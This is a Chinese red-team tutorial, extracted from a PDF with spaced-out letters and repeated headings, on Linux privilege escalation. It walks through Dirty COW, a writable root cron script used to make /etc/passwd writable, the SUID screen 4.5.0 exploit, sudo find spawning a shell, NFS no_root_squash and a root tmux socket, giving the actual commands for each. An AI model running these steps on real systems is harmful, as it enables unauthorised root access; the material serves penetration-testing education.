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红队测试之Linux提权⼩结

这是  酒仙桥六号部队  的第  1 4  篇⽂章。

全⽂共计 2 8 8 5个字，预计阅读时⻓ 8分钟。

提权背景提权背景提权背景提权背景提权背景提权背景提权背景提权背景提权背景提权背景提权背景提权背景提权背景提权背景提权背景

权限提升意味着⽤户获得不允许他使⽤的权限。⽐如从⼀个普通⽤户，通过 “⼿段 ”让⾃

⼰变为管理员⽤户，也可以理解为利⽤操作系统或软件应⽤程序中的错误，设计缺陷或

配置错误来获得对更⾼访问权限的⾏为。

为什么需要提权

权限的提升可以让⼈ “知道 ”更多的事情，特别是攻击者，⼀旦提权成功后果不堪设想。

攻击者在提权主要有以下⼏点的考虑，分别是：

读取 /写⼊敏感⽂件

“隧道 ”权限维持

插⼊恶意B a c k D o o r

… .

基于以上⼏点是攻击者最为直观的考虑，所要达成的⽬的也是五花⼋⻔，如：数据的窃

取与篡改、⽊⻢病毒的传播等。可以让整个计算机达到彻底 “沦陷 ”的地步，⾮常之可

怕。在专业的红队测试当中，权限提升作为了⽬前测试环节重要的环节之⼀。

Linux常⻅提权

攻击者们选择的下⼿点也是略有不同，以下列举了 L i n u x权限提升攻击者最为常⻅的下

⼿点，如：

1 .     内核漏洞
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2 .     定时任务

3 .     S u i d⽂件

4 .     S u d o  配置错误

5 .     N F S共享

6 .     第三⽅服务

基于以上的下⼿点，在攻击者的视⻆下，可谓如 “探囊取物 ”⼀般。但是在普通的 I T运维

⼈的视⻆中，这些 “下⼿点 ”功能显得⾮常普通。下⾯将基于这些下⼿点逐⼀进⾏安全漏

洞的介绍与还原。

漏洞介绍

L i n u x⽬前是最为常⻅的操作系统，该系统是处于源代码开放状态，信息安全问题也会

随之被世界各地的 “体验者 ”揭露出来。

L i n u x操作系统的内核是该系列操作系统的 “灵魂⼤脑 ”，⼀旦出现安全隐患情况下，攻

击者会很对这些安全隐患加以恶意利⽤，其中 L i n u x内核漏洞是⽬前攻击者最为热爱的

漏洞之⼀，内核漏洞的利⽤通常会以 “上帝视⻆ ”，也就是所谓的操作系统最⾼权限的形

式为攻击者提供对⽬标系统的超级⽤户访问权限。

漏洞复现

以L i n u x内核提权漏洞- “脏⽜ ”来做演示。

给⼤家介绍下检查 l i n u x提权辅助⼯具， l e s该⼯具主要帮助检测 l i n u x内核的安全缺陷。

下载地址：

h t t p s : / / g i t h u b . c o m / m z e t - / l i n u x - e x p l o i t - s u g g e s t e r

1 .将 l i n u x - e x p l o i t - s u g g e s t e r . s h下载到要检查的主机上，主要使⽤以下两条指令：

c h m o d  + x  l i n u x - e x p l o i t - s u g g e s t e r . s h

. / l i n u x - e x p l o i t - s u g g e s t e r . s h

在执⾏上述命令之前，⾸先查看L i n u x内核版本。
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查看脚本执⾏结果，可以使⽤脏⽜来进⾏提权。

2 .使⽤ s e a r c h s p l o i t  搜索d i r t y ,使⽤4 0 8 3 9 . c ,将漏洞利⽤代码上传到⽬标机器。

3 .接下来编译并执⾏。

g c c  - p t h r e a d  4 0 8 3 9 . c  - o  c  - l c r y p t

. / c
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4 .该漏洞利⽤代码会加⼊⼀个u i d为0的⽤户，切换到 f i r e f a r t⽤户，获取 r o o t权限。

定时任务定时任务定时任务定时任务定时任务定时任务定时任务定时任务定时任务定时任务定时任务定时任务定时任务定时任务定时任务

漏洞介绍

如果未正确配置C r o n，则可以利⽤它获得 r o o t特权。

1. c r o n作业中是否有可写的脚本或⼆进制⽂件？

2. 我们可以覆盖 c r o n⽂件本身吗？
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3. c r o n . d⽬录可写吗？

C r o n通常以 r o o t特权运⾏。如果我们可以成功修改 c r o n中的任何脚本或⼆进制⽂件，

那么我们可以使⽤ r o o t权限执⾏任意代码。

漏洞复现

接下来使⽤p s p y来监听进程。

p s p y是⼀种命令⾏⼯具，⽆需 r o o t权限即可监听进程。可以查看其他⽤户执⾏的命令、

c r o n作业等。

该⼯具的下载地址：

h t t p s : / / g i t h u b . c o m / D o m i n i c B r e u k e r / p s p y

⾸先将p s p y上传到⽬标机器：

1） c h m o d  + x  p s p y 6 4 s

2） . / p s p y 6 4

观察⼀段时间，发现 t e s t . p y为 r o o t权限执⾏。
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查看 t e s t . p y权限为普通⽤户可写，然后执⾏如下命令，将 / e t c / p a s s w d设置为所有⽤

户可写。

e c h o  ' i m p o r t  o s , s t a t  ; o s . c h m o d ( " / e t c / p a s s w d " ,  s t a t . S _ I R W X U | s t a t . S _ I R W X

L i n u x操作系统下的 p a s s w d⽂件如果具备可写⼊权限情况下，可以新建 U I D为 0的⽤

户，或者替换 r o o t密码，则可以获取到 r o o t权限。

Su i d  提权Su i d  提权Su i d  提权Su i d  提权Su i d  提权Su i d  提权Su i d  提权Su i d  提权Su i d  提权Su i d  提权Su i d  提权Su i d  提权Su i d  提权Su i d  提权Su i d  提权

漏洞介绍

S U I D代表设置的⽤户 I D，是⼀种L i n u x功能，允许⽤户在指定⽤户的许可下执⾏⽂件。

例如， L i n u x  p i n g命令通常需要 r o o t权限才能打开原始⽹络套接字。通过将 p i n g程序

标记为S U I D（所有者为 r o o t），只要低特权⽤户执⾏ p i n g程序，便会以 r o o t特权执⾏

p i n g。

 - r w s r - x r - x  –⽤ ' s '字符代替 ' x '表示S U I D位被设置。
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S U I D是⼀项功能，如果使⽤得当，它实际上可以增强 L i n u x的安全性。问题在于，管理

员在安装第三⽅应⽤程序或进⾏逻辑配置更改时可能会在不知不觉中引⼊危险的S U I D配

置。

许多系统管理员不知道应该在什么情况设置S U I D位，S U I D位不应该设置在⽂件编辑器

上，因为攻击者可以修改系统上存在的任何⽂件。

漏洞复现

使⽤ L i n E n u m . s h来收集要提权的机器上的信息，该脚本主要⽤来收集 L i n u x上的信

息。

该脚本的下载地址：

h t t p s : / / g i t h u b . c o m / r e b o o t u s e r / L i n E n u m

执⾏ L i n E n u m之后，发现 / b i n / s c r e e n - 4 . 5 . 0这个应⽤有 S U I D权限，然后去搜索⼀

下，发现 s c r e e n  4 . 5版本存在本地提权漏洞。

该E X P下载地址如下：

h t t p s : / / w w w . e x p l o i t - d b . c o m /

e x p l o i t s / 4 1 1 5 4

使⽤如下命令进⾏编译：
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g c c  - f P I C  - s h a r e d  - l d l  - o  / t m p /

l i b h a x . s o  / t m p / l i b h a x . c

g c c  - o  / t m p / r o o t s h e l l  / t m p / r o o t s h e l l . c

将编译好的E X P上传到⽬标机器，并按以下步骤执⾏。

c d  / e t c

u m a s k  0 0 0

/ b i n / s c r e e n - 4 . 5 . 0  - D  - m  - L  l d . s o .

p r e l o a d  e c h o  - n e  " \ x 0 a / t m p / l i b h a x . s o "

/ b i n / s c r e e n - 4 . 5 . 0  - l s

/ t m p / r o o t s h e l l

 执⾏之后成功获取 r o o t权限。
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Sudo配置错误Sudo配置错误Sudo配置错误Sudo配置错误Sudo配置错误Sudo配置错误Sudo配置错误Sudo配置错误Sudo配置错误Sudo配置错误Sudo配置错误Sudo配置错误Sudo配置错误Sudo配置错误Sudo配置错误

漏洞介绍

如果攻击者⽆法通过其他任何⽅法直接获得 r o o t⽤户访问权限，则他可能会尝试损害具

有S U D O访问权限的任何⽤户。⼀旦他可以访问任何 s u d o⽤户，他就可以基本上以 r o o t

特权执⾏任何命令。

管理员可能只允许⽤户通过 S U D O运⾏⼀些命令，可能在没有察觉的情况下中引⼊漏

洞，这可能导致权限提升。

⼀个典型的例⼦是将S U D O权限分配给 f i n d命令，以便其他⽤户可以在系统中搜索特定

的⽂件相关⽂件。尽管管理员可能不知道 ' f i n d '命令包含⽤于执⾏命令的参数，但攻击

者可以以 r o o t特权执⾏命令。

漏洞复现

拿到普通⽤户权限之后，使⽤ s u d o  – l查看下，  查看当前是否存在当前⽤户可以调⽤

s u d o的命令，如下图，当前⽤户可以执⾏ f i n d命令，然后通过 f i n d命令获取 r o o t权

限。

/ u s r / b i n / f i n d  / h o m e  – e x e c  s h  – i  \ ;
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N FS提权N FS提权N FS提权N FS提权N FS提权N FS提权N FS提权N FS提权N FS提权N FS提权N FS提权N FS提权N FS提权N FS提权N FS提权

漏洞介绍

⽹络⽂件系统：⽹络⽂件系统允许客户端计算机上的⽤户通过⽹络挂载共享⽂件或⽬

录。N F S使⽤远程过程调⽤（R P C）在客户端和服务器之间路由请求。

R o o t  S q u a s h i n g参数阻⽌对连接到N F S卷的远程 r o o t⽤户具有 r o o t访问权限。远程

r o o t⽤户在连接时会分配⼀个⽤户 “  n f s n o b o d y  ”，该⽤户具有最⼩的本地权限。如果  

n o _ r o o t _ s q u a s h  选项开启的话的话 ”，并为远程⽤户授予 r o o t⽤户对所连接系统的访

问权限。

如下图所示，该共享可以被远程 r o o t连接并读写，并且具有 r o o t权限，所以可以添加

b a s h⽂件并赋予 S U I D权限，在⽬标机器的普通⽤户权限下可以执⾏ b a s h⽂件，获取

r o o t权限。

漏洞复现
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如下图所示，该机器开启了 / h o m e⽬录的共享。

使⽤本地 r o o t权限将远程共享挂载到本地，将 / b i n / s h上传到⽬标机器，并赋予S U I D权

限。

使⽤普通⽤户执⾏ . / s h  –p  可以获取 r o o t权限。

第三⽅组件提权第三⽅组件提权第三⽅组件提权第三⽅组件提权第三⽅组件提权第三⽅组件提权第三⽅组件提权第三⽅组件提权第三⽅组件提权第三⽅组件提权第三⽅组件提权第三⽅组件提权第三⽅组件提权第三⽅组件提权第三⽅组件提权

漏洞介绍

某些程序使⽤ r o o t权限启动，如果第三⽅服务或者程序存在漏洞或者配置问题，可以被

利⽤来获得 r o o t权限。

漏洞复现

如下图以 t m u x为例，通过查看进程，发现 t m u x以 r o o t权限启动。

( t m u x是⼀个终端多路复⽤器：它使从单个屏幕创建，访问和控制多个终端成为可能。 )
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因为现在运⾏的这个 t m u x是 r o o t权限，只要连接到当前这个 t m u x，就可以获取到 r o o t

权限。

通过查看历史命令记录可以发现， t m u x  通过了- S参数指定了 s o c k e t的路径。

使⽤相同的⽅式连接S O C K E T就可以获取 r o o t权限。

t m u x  - S  / . d e v s / d e v _ s e s s
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技术⼩结技术⼩结技术⼩结技术⼩结技术⼩结技术⼩结技术⼩结技术⼩结技术⼩结技术⼩结技术⼩结技术⼩结技术⼩结技术⼩结技术⼩结

在测试项⽬中，测试⼈员通常会设法获取 s h e l l，然后再进⾏下⼀步的操作，本⽂旨在给

⼤家提供⼀些从普通权限到 r o o t权限的思路，基本总结如下：

1 .通过查看内核版本，寻找是否存在可以利⽤的提权E X P。

2 .通过信息收集，查看定时任务， s u d o配置， s u i d权限的⽂件，查看是否可以利⽤。

3 .通过查看系统的应⽤，或者第三⽅应⽤，查找服务本身是否存在问题，或者是否配置

存在问题，如⼤家常⻅的m y s q l  u d f提权。
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